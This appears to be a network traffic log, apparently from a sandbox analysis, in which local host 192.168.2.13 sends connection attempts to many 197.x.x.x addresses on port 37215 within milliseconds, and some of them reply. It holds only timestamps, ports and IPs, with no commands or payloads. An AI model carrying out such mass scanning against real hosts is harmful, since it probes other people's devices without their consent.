Jan 26, 2025 01:43:29.596031904 CET	47415	37215	192.168.2.13	197.162.118.8
Jan 26, 2025 01:43:29.596049070 CET	47415	37215	192.168.2.13	197.122.47.54
Jan 26, 2025 01:43:29.596074104 CET	47415	37215	192.168.2.13	197.15.68.120
Jan 26, 2025 01:43:29.596092939 CET	47415	37215	192.168.2.13	197.243.232.72
Jan 26, 2025 01:43:29.596110106 CET	47415	37215	192.168.2.13	197.17.208.129
Jan 26, 2025 01:43:29.596117973 CET	47415	37215	192.168.2.13	197.93.156.79
Jan 26, 2025 01:43:29.596163034 CET	47415	37215	192.168.2.13	197.107.125.124
Jan 26, 2025 01:43:29.596189022 CET	47415	37215	192.168.2.13	197.166.10.132
Jan 26, 2025 01:43:29.596193075 CET	47415	37215	192.168.2.13	197.210.98.142
Jan 26, 2025 01:43:29.596210003 CET	47415	37215	192.168.2.13	197.189.115.165
Jan 26, 2025 01:43:29.596221924 CET	47415	37215	192.168.2.13	197.17.126.10
Jan 26, 2025 01:43:29.596251011 CET	47415	37215	192.168.2.13	197.5.105.17
Jan 26, 2025 01:43:29.596251011 CET	47415	37215	192.168.2.13	197.159.187.14
Jan 26, 2025 01:43:29.596266031 CET	47415	37215	192.168.2.13	197.136.80.170
Jan 26, 2025 01:43:29.596287012 CET	47415	37215	192.168.2.13	197.144.13.39
Jan 26, 2025 01:43:29.596287966 CET	47415	37215	192.168.2.13	197.114.93.185
Jan 26, 2025 01:43:29.596298933 CET	47415	37215	192.168.2.13	197.69.65.242
Jan 26, 2025 01:43:29.596313953 CET	47415	37215	192.168.2.13	197.135.182.60
Jan 26, 2025 01:43:29.596340895 CET	47415	37215	192.168.2.13	197.49.59.211
Jan 26, 2025 01:43:29.596363068 CET	47415	37215	192.168.2.13	197.185.237.142
Jan 26, 2025 01:43:29.596368074 CET	47415	37215	192.168.2.13	197.166.132.44
Jan 26, 2025 01:43:29.596385956 CET	47415	37215	192.168.2.13	197.187.226.234
Jan 26, 2025 01:43:29.596399069 CET	47415	37215	192.168.2.13	197.41.106.31
Jan 26, 2025 01:43:29.596415043 CET	47415	37215	192.168.2.13	197.122.151.193
Jan 26, 2025 01:43:29.596441984 CET	47415	37215	192.168.2.13	197.75.149.148
Jan 26, 2025 01:43:29.596457005 CET	47415	37215	192.168.2.13	197.86.162.181
Jan 26, 2025 01:43:29.596460104 CET	47415	37215	192.168.2.13	197.178.34.229
Jan 26, 2025 01:43:29.596487999 CET	47415	37215	192.168.2.13	197.205.49.198
Jan 26, 2025 01:43:29.596494913 CET	47415	37215	192.168.2.13	197.98.38.4
Jan 26, 2025 01:43:29.596507072 CET	47415	37215	192.168.2.13	197.72.50.176
Jan 26, 2025 01:43:29.596523046 CET	47415	37215	192.168.2.13	197.222.212.191
Jan 26, 2025 01:43:29.596539974 CET	47415	37215	192.168.2.13	197.255.48.66
Jan 26, 2025 01:43:29.596560955 CET	47415	37215	192.168.2.13	197.98.39.73
Jan 26, 2025 01:43:29.598624945 CET	37215	47415	197.6.191.189	192.168.2.13
Jan 26, 2025 01:43:29.598710060 CET	47415	37215	192.168.2.13	197.6.191.189
Jan 26, 2025 01:43:29.598778963 CET	37215	47415	197.209.202.165	192.168.2.13
Jan 26, 2025 01:43:29.598790884 CET	37215	47415	197.160.119.203	192.168.2.13
Jan 26, 2025 01:43:29.598800898 CET	37215	47415	197.119.243.203	192.168.2.13
Jan 26, 2025 01:43:29.598828077 CET	47415	37215	192.168.2.13	197.209.202.165
Jan 26, 2025 01:43:29.598838091 CET	47415	37215	192.168.2.13	197.160.119.203
Jan 26, 2025 01:43:29.598844051 CET	47415	37215	192.168.2.13	197.119.243.203
Jan 26, 2025 01:43:29.598931074 CET	37215	47415	197.158.91.95	192.168.2.13
Jan 26, 2025 01:43:29.598941088 CET	37215	47415	197.209.30.89	192.168.2.13
Jan 26, 2025 01:43:29.598949909 CET	37215	47415	197.184.98.53	192.168.2.13
Jan 26, 2025 01:43:29.598959923 CET	37215	47415	197.160.10.217	192.168.2.13
Jan 26, 2025 01:43:29.598968983 CET	37215	47415	197.3.150.5	192.168.2.13
Jan 26, 2025 01:43:29.598990917 CET	47415	37215	192.168.2.13	197.158.91.95
Jan 26, 2025 01:43:29.598990917 CET	47415	37215	192.168.2.13	197.184.98.53
Jan 26, 2025 01:43:29.598990917 CET	47415	37215	192.168.2.13	197.160.10.217
Jan 26, 2025 01:43:29.599030972 CET	47415	37215	192.168.2.13	197.3.150.5
Jan 26, 2025 01:43:29.599041939 CET	47415	37215	192.168.2.13	197.209.30.89
Jan 26, 2025 01:43:29.599136114 CET	37215	47415	197.227.72.33	192.168.2.13
Jan 26, 2025 01:43:29.599145889 CET	37215	47415	197.13.192.111	192.168.2.13
Jan 26, 2025 01:43:29.599163055 CET	37215	47415	197.76.51.130	192.168.2.13
Jan 26, 2025 01:43:29.599168062 CET	47415	37215	192.168.2.13	197.227.72.33
Jan 26, 2025 01:43:29.599172115 CET	37215	47415	197.59.135.242	192.168.2.13
Jan 26, 2025 01:43:29.599179983 CET	47415	37215	192.168.2.13	197.13.192.111
Jan 26, 2025 01:43:29.599183083 CET	37215	47415	197.241.17.70	192.168.2.13
Jan 26, 2025 01:43:29.599193096 CET	47415	37215	192.168.2.13	197.76.51.130
Jan 26, 2025 01:43:29.599195957 CET	37215	47415	197.157.251.214	192.168.2.13
Jan 26, 2025 01:43:29.599206924 CET	37215	47415	197.230.137.93	192.168.2.13
Jan 26, 2025 01:43:29.599209070 CET	47415	37215	192.168.2.13	197.241.17.70
Jan 26, 2025 01:43:29.599215984 CET	37215	47415	197.25.160.21	192.168.2.13
Jan 26, 2025 01:43:29.599225998 CET	37215	47415	197.69.26.0	192.168.2.13
Jan 26, 2025 01:43:29.599225998 CET	47415	37215	192.168.2.13	197.59.135.242
Jan 26, 2025 01:43:29.599225998 CET	47415	37215	192.168.2.13	197.157.251.214
Jan 26, 2025 01:43:29.599235058 CET	37215	47415	197.123.226.118	192.168.2.13
Jan 26, 2025 01:43:29.599244118 CET	47415	37215	192.168.2.13	197.230.137.93
Jan 26, 2025 01:43:29.599255085 CET	47415	37215	192.168.2.13	197.69.26.0
Jan 26, 2025 01:43:29.599260092 CET	47415	37215	192.168.2.13	197.25.160.21
Jan 26, 2025 01:43:29.599260092 CET	47415	37215	192.168.2.13	197.123.226.118
Jan 26, 2025 01:43:29.599289894 CET	37215	47415	197.77.19.138	192.168.2.13
Jan 26, 2025 01:43:29.599299908 CET	37215	47415	197.180.11.22	192.168.2.13
Jan 26, 2025 01:43:29.599308968 CET	37215	47415	197.41.228.194	192.168.2.13
Jan 26, 2025 01:43:29.599325895 CET	37215	47415	197.249.41.84	192.168.2.13
Jan 26, 2025 01:43:29.599334955 CET	37215	47415	197.94.241.190	192.168.2.13
Jan 26, 2025 01:43:29.599344969 CET	37215	47415	197.175.127.249	192.168.2.13
Jan 26, 2025 01:43:29.599348068 CET	47415	37215	192.168.2.13	197.180.11.22
Jan 26, 2025 01:43:29.599351883 CET	47415	37215	192.168.2.13	197.77.19.138
Jan 26, 2025 01:43:29.599355936 CET	47415	37215	192.168.2.13	197.249.41.84
Jan 26, 2025 01:43:29.599364042 CET	37215	47415	197.22.255.19	192.168.2.13
Jan 26, 2025 01:43:29.599370956 CET	47415	37215	192.168.2.13	197.41.228.194
Jan 26, 2025 01:43:29.599370956 CET	47415	37215	192.168.2.13	197.94.241.190
Jan 26, 2025 01:43:29.599375010 CET	37215	47415	197.78.171.91	192.168.2.13
Jan 26, 2025 01:43:29.599383116 CET	37215	47415	197.51.53.77	192.168.2.13
Jan 26, 2025 01:43:29.599390984 CET	47415	37215	192.168.2.13	197.175.127.249
Jan 26, 2025 01:43:29.599391937 CET	37215	47415	197.195.172.21	192.168.2.13
Jan 26, 2025 01:43:29.599390984 CET	47415	37215	192.168.2.13	197.22.255.19
Jan 26, 2025 01:43:29.599405050 CET	37215	47415	197.246.105.113	192.168.2.13
Jan 26, 2025 01:43:29.599407911 CET	47415	37215	192.168.2.13	197.51.53.77
Jan 26, 2025 01:43:29.599407911 CET	47415	37215	192.168.2.13	197.78.171.91
Jan 26, 2025 01:43:29.599415064 CET	37215	47415	197.135.176.18	192.168.2.13
Jan 26, 2025 01:43:29.599423885 CET	47415	37215	192.168.2.13	197.195.172.21
Jan 26, 2025 01:43:29.599432945 CET	47415	37215	192.168.2.13	197.246.105.113
Jan 26, 2025 01:43:29.599462986 CET	47415	37215	192.168.2.13	197.135.176.18
Jan 26, 2025 01:43:29.599693060 CET	37215	47415	197.146.219.217	192.168.2.13
Jan 26, 2025 01:43:29.599703074 CET	37215	47415	197.179.96.126	192.168.2.13
Jan 26, 2025 01:43:29.599711895 CET	37215	47415	197.250.15.88	192.168.2.13
Jan 26, 2025 01:43:29.599720955 CET	37215	47415	197.93.168.175	192.168.2.13
Jan 26, 2025 01:43:29.599730015 CET	37215	47415	197.228.189.105	192.168.2.13
Jan 26, 2025 01:43:29.599747896 CET	37215	47415	197.108.55.106	192.168.2.13
Jan 26, 2025 01:43:29.599755049 CET	47415	37215	192.168.2.13	197.146.219.217
Jan 26, 2025 01:43:29.599756956 CET	37215	47415	197.135.236.77	192.168.2.13
Jan 26, 2025 01:43:29.599755049 CET	47415	37215	192.168.2.13	197.93.168.175
Jan 26, 2025 01:43:29.599756956 CET	47415	37215	192.168.2.13	197.250.15.88
Jan 26, 2025 01:43:29.599756956 CET	47415	37215	192.168.2.13	197.179.96.126
Jan 26, 2025 01:43:29.599759102 CET	47415	37215	192.168.2.13	197.228.189.105
Jan 26, 2025 01:43:29.599766016 CET	37215	47415	197.191.89.13	192.168.2.13
Jan 26, 2025 01:43:29.599776030 CET	37215	47415	197.25.92.216	192.168.2.13
Jan 26, 2025 01:43:29.599781990 CET	47415	37215	192.168.2.13	197.108.55.106
Jan 26, 2025 01:43:29.599785089 CET	37215	47415	197.37.233.222	192.168.2.13
Jan 26, 2025 01:43:29.599787951 CET	47415	37215	192.168.2.13	197.135.236.77
Jan 26, 2025 01:43:29.599788904 CET	47415	37215	192.168.2.13	197.191.89.13
Jan 26, 2025 01:43:29.599797010 CET	37215	47415	197.166.153.250	192.168.2.13
Jan 26, 2025 01:43:29.599805117 CET	47415	37215	192.168.2.13	197.25.92.216
Jan 26, 2025 01:43:29.599807024 CET	37215	47415	197.66.210.125	192.168.2.13
Jan 26, 2025 01:43:29.599817038 CET	37215	47415	197.245.235.184	192.168.2.13
Jan 26, 2025 01:43:29.599826097 CET	37215	47415	197.187.10.82	192.168.2.13
Jan 26, 2025 01:43:29.599828005 CET	47415	37215	192.168.2.13	197.37.233.222
Jan 26, 2025 01:43:29.599833965 CET	47415	37215	192.168.2.13	197.166.153.250
Jan 26, 2025 01:43:29.599834919 CET	37215	47415	197.162.34.83	192.168.2.13
Jan 26, 2025 01:43:29.599837065 CET	47415	37215	192.168.2.13	197.66.210.125
Jan 26, 2025 01:43:29.599843979 CET	47415	37215	192.168.2.13	197.245.235.184
Jan 26, 2025 01:43:29.599845886 CET	37215	47415	197.2.206.50	192.168.2.13
Jan 26, 2025 01:43:29.599852085 CET	47415	37215	192.168.2.13	197.187.10.82
Jan 26, 2025 01:43:29.599855900 CET	37215	47415	197.114.112.230	192.168.2.13
Jan 26, 2025 01:43:29.599865913 CET	37215	47415	197.231.151.54	192.168.2.13
Jan 26, 2025 01:43:29.599874973 CET	37215	47415	197.88.9.123	192.168.2.13
Jan 26, 2025 01:43:29.599884033 CET	37215	47415	197.142.101.206	192.168.2.13
Jan 26, 2025 01:43:29.599900007 CET	37215	47415	197.225.76.202	192.168.2.13
Jan 26, 2025 01:43:29.599910021 CET	37215	47415	197.221.77.87	192.168.2.13
Jan 26, 2025 01:43:29.599911928 CET	47415	37215	192.168.2.13	197.162.34.83
Jan 26, 2025 01:43:29.599911928 CET	47415	37215	192.168.2.13	197.2.206.50
Jan 26, 2025 01:43:29.599912882 CET	47415	37215	192.168.2.13	197.114.112.230
Jan 26, 2025 01:43:29.599919081 CET	37215	47415	197.213.206.165	192.168.2.13
Jan 26, 2025 01:43:29.599921942 CET	47415	37215	192.168.2.13	197.231.151.54
Jan 26, 2025 01:43:29.599929094 CET	37215	47415	197.85.7.124	192.168.2.13
Jan 26, 2025 01:43:29.599929094 CET	47415	37215	192.168.2.13	197.142.101.206
Jan 26, 2025 01:43:29.599929094 CET	47415	37215	192.168.2.13	197.88.9.123
Jan 26, 2025 01:43:29.599929094 CET	47415	37215	192.168.2.13	197.225.76.202
Jan 26, 2025 01:43:29.599937916 CET	47415	37215	192.168.2.13	197.221.77.87
Jan 26, 2025 01:43:29.599937916 CET	37215	47415	197.189.185.113	192.168.2.13
Jan 26, 2025 01:43:29.599950075 CET	37215	47415	197.133.101.135	192.168.2.13
Jan 26, 2025 01:43:29.599957943 CET	37215	47415	197.181.32.160	192.168.2.13
Jan 26, 2025 01:43:29.599963903 CET	47415	37215	192.168.2.13	197.213.206.165
Jan 26, 2025 01:43:29.599967003 CET	37215	47415	197.60.97.243	192.168.2.13
Jan 26, 2025 01:43:29.599968910 CET	47415	37215	192.168.2.13	197.85.7.124
Jan 26, 2025 01:43:29.599970102 CET	47415	37215	192.168.2.13	197.189.185.113
Jan 26, 2025 01:43:29.599976063 CET	37215	47415	197.65.102.8	192.168.2.13
Jan 26, 2025 01:43:29.599977970 CET	47415	37215	192.168.2.13	197.133.101.135
Jan 26, 2025 01:43:29.599982977 CET	47415	37215	192.168.2.13	197.181.32.160
Jan 26, 2025 01:43:29.599983931 CET	47415	37215	192.168.2.13	197.60.97.243
Jan 26, 2025 01:43:29.599984884 CET	37215	47415	197.197.129.140	192.168.2.13
Jan 26, 2025 01:43:29.600003004 CET	47415	37215	192.168.2.13	197.65.102.8
Jan 26, 2025 01:43:29.600013971 CET	47415	37215	192.168.2.13	197.197.129.140
Jan 26, 2025 01:43:29.600045919 CET	37215	47415	197.1.226.173	192.168.2.13
Jan 26, 2025 01:43:29.600055933 CET	37215	47415	197.11.249.64	192.168.2.13
Jan 26, 2025 01:43:29.600064039 CET	37215	47415	197.198.248.63	192.168.2.13
Jan 26, 2025 01:43:29.600073099 CET	37215	47415	197.21.99.87	192.168.2.13
Jan 26, 2025 01:43:29.600081921 CET	37215	47415	197.102.21.81	192.168.2.13
Jan 26, 2025 01:43:29.600090981 CET	37215	47415	197.215.187.35	192.168.2.13
Jan 26, 2025 01:43:29.600097895 CET	37215	47415	197.171.72.100	192.168.2.13
Jan 26, 2025 01:43:29.600119114 CET	37215	47415	197.202.39.253	192.168.2.13
Jan 26, 2025 01:43:29.600127935 CET	37215	47415	197.212.52.81	192.168.2.13
Jan 26, 2025 01:43:29.600128889 CET	47415	37215	192.168.2.13	197.1.226.173
Jan 26, 2025 01:43:29.600128889 CET	47415	37215	192.168.2.13	197.102.21.81
Jan 26, 2025 01:43:29.600128889 CET	47415	37215	192.168.2.13	197.198.248.63
Jan 26, 2025 01:43:29.600135088 CET	47415	37215	192.168.2.13	197.11.249.64
Jan 26, 2025 01:43:29.600136995 CET	47415	37215	192.168.2.13	197.21.99.87
Jan 26, 2025 01:43:29.600140095 CET	37215	47415	197.220.194.140	192.168.2.13
Jan 26, 2025 01:43:29.600142002 CET	47415	37215	192.168.2.13	197.215.187.35
Jan 26, 2025 01:43:29.600148916 CET	47415	37215	192.168.2.13	197.171.72.100
Jan 26, 2025 01:43:29.600148916 CET	47415	37215	192.168.2.13	197.202.39.253
Jan 26, 2025 01:43:29.600151062 CET	37215	47415	197.152.236.96	192.168.2.13
Jan 26, 2025 01:43:29.600158930 CET	47415	37215	192.168.2.13	197.212.52.81
Jan 26, 2025 01:43:29.600174904 CET	47415	37215	192.168.2.13	197.220.194.140
Jan 26, 2025 01:43:29.600174904 CET	47415	37215	192.168.2.13	197.152.236.96
Jan 26, 2025 01:43:29.600263119 CET	37215	47415	197.241.78.99	192.168.2.13
Jan 26, 2025 01:43:29.600271940 CET	37215	47415	197.152.206.30	192.168.2.13
Jan 26, 2025 01:43:29.600287914 CET	37215	47415	197.249.234.117	192.168.2.13
Jan 26, 2025 01:43:29.600296974 CET	37215	47415	197.161.234.6	192.168.2.13
Jan 26, 2025 01:43:29.600298882 CET	47415	37215	192.168.2.13	197.152.206.30
Jan 26, 2025 01:43:29.600305080 CET	37215	47415	197.18.210.138	192.168.2.13
Jan 26, 2025 01:43:29.600315094 CET	37215	47415	197.229.227.217	192.168.2.13
Jan 26, 2025 01:43:29.600322962 CET	37215	47415	197.207.29.141	192.168.2.13
Jan 26, 2025 01:43:29.600326061 CET	47415	37215	192.168.2.13	197.161.234.6
Jan 26, 2025 01:43:29.600332022 CET	37215	47415	197.8.29.186	192.168.2.13
Jan 26, 2025 01:43:29.600341082 CET	37215	47415	197.17.125.118	192.168.2.13
Jan 26, 2025 01:43:29.600349903 CET	37215	47415	197.0.227.255	192.168.2.13
Jan 26, 2025 01:43:29.600353003 CET	47415	37215	192.168.2.13	197.241.78.99
Jan 26, 2025 01:43:29.600353003 CET	47415	37215	192.168.2.13	197.18.210.138
Jan 26, 2025 01:43:29.600353956 CET	47415	37215	192.168.2.13	197.249.234.117
Jan 26, 2025 01:43:29.600356102 CET	47415	37215	192.168.2.13	197.229.227.217
Jan 26, 2025 01:43:29.600356102 CET	47415	37215	192.168.2.13	197.8.29.186
Jan 26, 2025 01:43:29.600358963 CET	47415	37215	192.168.2.13	197.207.29.141
Jan 26, 2025 01:43:29.600368977 CET	47415	37215	192.168.2.13	197.0.227.255
Jan 26, 2025 01:43:29.600380898 CET	47415	37215	192.168.2.13	197.17.125.118
Jan 26, 2025 01:43:29.600518942 CET	37215	47415	197.22.82.152	192.168.2.13
Jan 26, 2025 01:43:29.600528955 CET	37215	47415	197.166.199.114	192.168.2.13
Jan 26, 2025 01:43:29.600537062 CET	37215	47415	197.110.228.188	192.168.2.13
Jan 26, 2025 01:43:29.600545883 CET	37215	47415	197.223.172.238	192.168.2.13
Jan 26, 2025 01:43:29.600554943 CET	47415	37215	192.168.2.13	197.22.82.152
Jan 26, 2025 01:43:29.600554943 CET	47415	37215	192.168.2.13	197.166.199.114
Jan 26, 2025 01:43:29.600555897 CET	37215	47415	197.75.77.153	192.168.2.13
Jan 26, 2025 01:43:29.600563049 CET	47415	37215	192.168.2.13	197.110.228.188
Jan 26, 2025 01:43:29.600567102 CET	37215	47415	197.226.136.193	192.168.2.13
Jan 26, 2025 01:43:29.600578070 CET	37215	47415	197.140.212.34	192.168.2.13
Jan 26, 2025 01:43:29.600586891 CET	47415	37215	192.168.2.13	197.223.172.238
Jan 26, 2025 01:43:29.600586891 CET	37215	47415	197.193.78.138	192.168.2.13
Jan 26, 2025 01:43:29.600596905 CET	37215	47415	197.110.145.161	192.168.2.13
Jan 26, 2025 01:43:29.600600958 CET	47415	37215	192.168.2.13	197.75.77.153
Jan 26, 2025 01:43:29.600605965 CET	37215	47415	197.145.74.237	192.168.2.13
Jan 26, 2025 01:43:29.600615025 CET	37215	47415	197.210.147.116	192.168.2.13
Jan 26, 2025 01:43:29.600622892 CET	37215	47415	197.61.149.58	192.168.2.13
Jan 26, 2025 01:43:29.600630045 CET	47415	37215	192.168.2.13	197.226.136.193
Jan 26, 2025 01:43:29.600630999 CET	37215	47415	197.26.63.200	192.168.2.13
Jan 26, 2025 01:43:29.600640059 CET	37215	47415	197.33.41.156	192.168.2.13
Jan 26, 2025 01:43:29.600646973 CET	47415	37215	192.168.2.13	197.210.147.116
Jan 26, 2025 01:43:29.600647926 CET	47415	37215	192.168.2.13	197.110.145.161
Jan 26, 2025 01:43:29.600656986 CET	47415	37215	192.168.2.13	197.26.63.200
Jan 26, 2025 01:43:29.600667953 CET	47415	37215	192.168.2.13	197.145.74.237
Jan 26, 2025 01:43:29.600670099 CET	47415	37215	192.168.2.13	197.140.212.34
Jan 26, 2025 01:43:29.600670099 CET	47415	37215	192.168.2.13	197.193.78.138
Jan 26, 2025 01:43:29.600670099 CET	47415	37215	192.168.2.13	197.61.149.58
Jan 26, 2025 01:43:29.600672007 CET	47415	37215	192.168.2.13	197.33.41.156
Jan 26, 2025 01:43:29.600863934 CET	37215	47415	197.235.72.48	192.168.2.13
Jan 26, 2025 01:43:29.600873947 CET	37215	47415	197.69.9.240	192.168.2.13
Jan 26, 2025 01:43:29.600883007 CET	37215	47415	197.71.140.250	192.168.2.13
Jan 26, 2025 01:43:29.600892067 CET	37215	47415	197.132.79.190	192.168.2.13
Jan 26, 2025 01:43:29.600897074 CET	47415	37215	192.168.2.13	197.235.72.48
Jan 26, 2025 01:43:29.600902081 CET	37215	47415	197.35.199.151	192.168.2.13
Jan 26, 2025 01:43:29.600914001 CET	37215	47415	197.244.160.176	192.168.2.13
Jan 26, 2025 01:43:29.600914001 CET	47415	37215	192.168.2.13	197.71.140.250
Jan 26, 2025 01:43:29.600924015 CET	37215	47415	197.209.38.75	192.168.2.13
Jan 26, 2025 01:43:29.600924969 CET	47415	37215	192.168.2.13	197.69.9.240
Jan 26, 2025 01:43:29.600924969 CET	47415	37215	192.168.2.13	197.132.79.190
Jan 26, 2025 01:43:29.600929976 CET	47415	37215	192.168.2.13	197.35.199.151
Jan 26, 2025 01:43:29.600934982 CET	37215	47415	197.221.47.231	192.168.2.13
Jan 26, 2025 01:43:29.600944042 CET	37215	47415	197.142.243.223	192.168.2.13
Jan 26, 2025 01:43:29.600946903 CET	47415	37215	192.168.2.13	197.244.160.176
Jan 26, 2025 01:43:29.600946903 CET	47415	37215	192.168.2.13	197.209.38.75
Jan 26, 2025 01:43:29.600954056 CET	37215	47415	197.151.30.28	192.168.2.13
Jan 26, 2025 01:43:29.600963116 CET	37215	47415	197.17.249.106	192.168.2.13
Jan 26, 2025 01:43:29.600970984 CET	47415	37215	192.168.2.13	197.221.47.231
Jan 26, 2025 01:43:29.600971937 CET	37215	47415	197.63.131.165	192.168.2.13
Jan 26, 2025 01:43:29.600974083 CET	47415	37215	192.168.2.13	197.142.243.223
Jan 26, 2025 01:43:29.600974083 CET	47415	37215	192.168.2.13	197.151.30.28
Jan 26, 2025 01:43:29.600982904 CET	37215	47415	197.244.197.244	192.168.2.13
Jan 26, 2025 01:43:29.600992918 CET	37215	47415	197.22.147.76	192.168.2.13
Jan 26, 2025 01:43:29.600997925 CET	47415	37215	192.168.2.13	197.17.249.106
Jan 26, 2025 01:43:29.600997925 CET	47415	37215	192.168.2.13	197.63.131.165
Jan 26, 2025 01:43:29.601002932 CET	37215	47415	197.86.111.94	192.168.2.13
Jan 26, 2025 01:43:29.601011992 CET	37215	47415	197.171.63.203	192.168.2.13
Jan 26, 2025 01:43:29.601013899 CET	47415	37215	192.168.2.13	197.244.197.244
Jan 26, 2025 01:43:29.601018906 CET	47415	37215	192.168.2.13	197.22.147.76
Jan 26, 2025 01:43:29.601021051 CET	37215	47415	197.252.164.247	192.168.2.13
Jan 26, 2025 01:43:29.601032019 CET	37215	47415	197.237.201.142	192.168.2.13
Jan 26, 2025 01:43:29.601036072 CET	47415	37215	192.168.2.13	197.86.111.94
Jan 26, 2025 01:43:29.601036072 CET	47415	37215	192.168.2.13	197.171.63.203
Jan 26, 2025 01:43:29.601041079 CET	37215	47415	197.209.131.14	192.168.2.13
Jan 26, 2025 01:43:29.601049900 CET	37215	47415	197.190.36.116	192.168.2.13
Jan 26, 2025 01:43:29.601049900 CET	47415	37215	192.168.2.13	197.252.164.247
Jan 26, 2025 01:43:29.601058960 CET	47415	37215	192.168.2.13	197.237.201.142
Jan 26, 2025 01:43:29.601058960 CET	47415	37215	192.168.2.13	197.209.131.14
Jan 26, 2025 01:43:29.601069927 CET	37215	47415	197.199.142.186	192.168.2.13
Jan 26, 2025 01:43:29.601079941 CET	37215	47415	197.227.95.31	192.168.2.13
Jan 26, 2025 01:43:29.601080894 CET	47415	37215	192.168.2.13	197.190.36.116
Jan 26, 2025 01:43:29.601088047 CET	37215	47415	197.114.182.240	192.168.2.13
Jan 26, 2025 01:43:29.601095915 CET	47415	37215	192.168.2.13	197.199.142.186
Jan 26, 2025 01:43:29.601097107 CET	37215	47415	197.189.18.131	192.168.2.13
Jan 26, 2025 01:43:29.601108074 CET	37215	47415	197.229.5.129	192.168.2.13
Jan 26, 2025 01:43:29.601111889 CET	47415	37215	192.168.2.13	197.227.95.31
Jan 26, 2025 01:43:29.601113081 CET	47415	37215	192.168.2.13	197.114.182.240
Jan 26, 2025 01:43:29.601118088 CET	37215	47415	197.15.59.76	192.168.2.13
Jan 26, 2025 01:43:29.601131916 CET	47415	37215	192.168.2.13	197.189.18.131
Jan 26, 2025 01:43:29.601131916 CET	47415	37215	192.168.2.13	197.229.5.129
Jan 26, 2025 01:43:29.601135969 CET	37215	47415	197.76.41.81	192.168.2.13
Jan 26, 2025 01:43:29.601139069 CET	47415	37215	192.168.2.13	197.15.59.76
Jan 26, 2025 01:43:29.601146936 CET	37215	47415	197.216.53.252	192.168.2.13
Jan 26, 2025 01:43:29.601155996 CET	37215	47415	197.78.233.228	192.168.2.13
Jan 26, 2025 01:43:29.601165056 CET	37215	47415	197.12.91.71	192.168.2.13
Jan 26, 2025 01:43:29.601172924 CET	47415	37215	192.168.2.13	197.216.53.252
Jan 26, 2025 01:43:29.601174116 CET	37215	47415	197.189.13.239	192.168.2.13
Jan 26, 2025 01:43:29.601177931 CET	47415	37215	192.168.2.13	197.76.41.81
Jan 26, 2025 01:43:29.601183891 CET	37215	47415	197.162.118.8	192.168.2.13
Jan 26, 2025 01:43:29.601186037 CET	47415	37215	192.168.2.13	197.78.233.228
Jan 26, 2025 01:43:29.601192951 CET	47415	37215	192.168.2.13	197.12.91.71
Jan 26, 2025 01:43:29.601193905 CET	37215	47415	197.122.47.54	192.168.2.13
Jan 26, 2025 01:43:29.601202965 CET	37215	47415	197.15.68.120	192.168.2.13
Jan 26, 2025 01:43:29.601205111 CET	47415	37215	192.168.2.13	197.189.13.239
Jan 26, 2025 01:43:29.601213932 CET	37215	47415	197.243.232.72	192.168.2.13
Jan 26, 2025 01:43:29.601218939 CET	47415	37215	192.168.2.13	197.162.118.8
Jan 26, 2025 01:43:29.601218939 CET	47415	37215	192.168.2.13	197.122.47.54
Jan 26, 2025 01:43:29.601223946 CET	37215	47415	197.17.208.129	192.168.2.13
Jan 26, 2025 01:43:29.601234913 CET	37215	47415	197.93.156.79	192.168.2.13
Jan 26, 2025 01:43:29.601236105 CET	47415	37215	192.168.2.13	197.15.68.120
Jan 26, 2025 01:43:29.601243973 CET	37215	47415	197.107.125.124	192.168.2.13
Jan 26, 2025 01:43:29.601244926 CET	47415	37215	192.168.2.13	197.243.232.72
Jan 26, 2025 01:43:29.601253033 CET	37215	47415	197.210.98.142	192.168.2.13
Jan 26, 2025 01:43:29.601258993 CET	47415	37215	192.168.2.13	197.93.156.79
Jan 26, 2025 01:43:29.601260900 CET	47415	37215	192.168.2.13	197.17.208.129
Jan 26, 2025 01:43:29.601273060 CET	47415	37215	192.168.2.13	197.107.125.124
Jan 26, 2025 01:43:29.601273060 CET	47415	37215	192.168.2.13	197.210.98.142
Jan 26, 2025 01:43:29.601445913 CET	37215	47415	197.166.10.132	192.168.2.13
Jan 26, 2025 01:43:29.601457119 CET	37215	47415	197.189.115.165	192.168.2.13
Jan 26, 2025 01:43:29.601464987 CET	37215	47415	197.17.126.10	192.168.2.13
Jan 26, 2025 01:43:29.601480961 CET	37215	47415	197.5.105.17	192.168.2.13
Jan 26, 2025 01:43:29.601483107 CET	47415	37215	192.168.2.13	197.189.115.165
Jan 26, 2025 01:43:29.601490974 CET	37215	47415	197.159.187.14	192.168.2.13
Jan 26, 2025 01:43:29.601494074 CET	47415	37215	192.168.2.13	197.17.126.10
Jan 26, 2025 01:43:29.601500988 CET	37215	47415	197.136.80.170	192.168.2.13
Jan 26, 2025 01:43:29.601501942 CET	47415	37215	192.168.2.13	197.166.10.132
Jan 26, 2025 01:43:29.601509094 CET	37215	47415	197.144.13.39	192.168.2.13
Jan 26, 2025 01:43:29.601510048 CET	47415	37215	192.168.2.13	197.5.105.17
Jan 26, 2025 01:43:29.601510048 CET	47415	37215	192.168.2.13	197.159.187.14
Jan 26, 2025 01:43:29.601519108 CET	37215	47415	197.114.93.185	192.168.2.13
Jan 26, 2025 01:43:29.601527929 CET	37215	47415	197.69.65.242	192.168.2.13
Jan 26, 2025 01:43:29.601531029 CET	47415	37215	192.168.2.13	197.136.80.170
Jan 26, 2025 01:43:29.601543903 CET	47415	37215	192.168.2.13	197.114.93.185
Jan 26, 2025 01:43:29.601546049 CET	37215	47415	197.135.182.60	192.168.2.13
Jan 26, 2025 01:43:29.601552010 CET	47415	37215	192.168.2.13	197.144.13.39
Jan 26, 2025 01:43:29.601555109 CET	47415	37215	192.168.2.13	197.69.65.242
Jan 26, 2025 01:43:29.601557016 CET	37215	47415	197.49.59.211	192.168.2.13
Jan 26, 2025 01:43:29.601567984 CET	37215	47415	197.185.237.142	192.168.2.13
Jan 26, 2025 01:43:29.601574898 CET	47415	37215	192.168.2.13	197.135.182.60
Jan 26, 2025 01:43:29.601577044 CET	37215	47415	197.166.132.44	192.168.2.13
Jan 26, 2025 01:43:29.601581097 CET	47415	37215	192.168.2.13	197.49.59.211
Jan 26, 2025 01:43:29.601588011 CET	37215	47415	197.187.226.234	192.168.2.13
Jan 26, 2025 01:43:29.601592064 CET	37215	47415	197.41.106.31	192.168.2.13
Jan 26, 2025 01:43:29.601596117 CET	37215	47415	197.122.151.193	192.168.2.13
Jan 26, 2025 01:43:29.601603031 CET	47415	37215	192.168.2.13	197.185.237.142
Jan 26, 2025 01:43:29.601604939 CET	37215	47415	197.75.149.148	192.168.2.13
Jan 26, 2025 01:43:29.601613045 CET	47415	37215	192.168.2.13	197.166.132.44
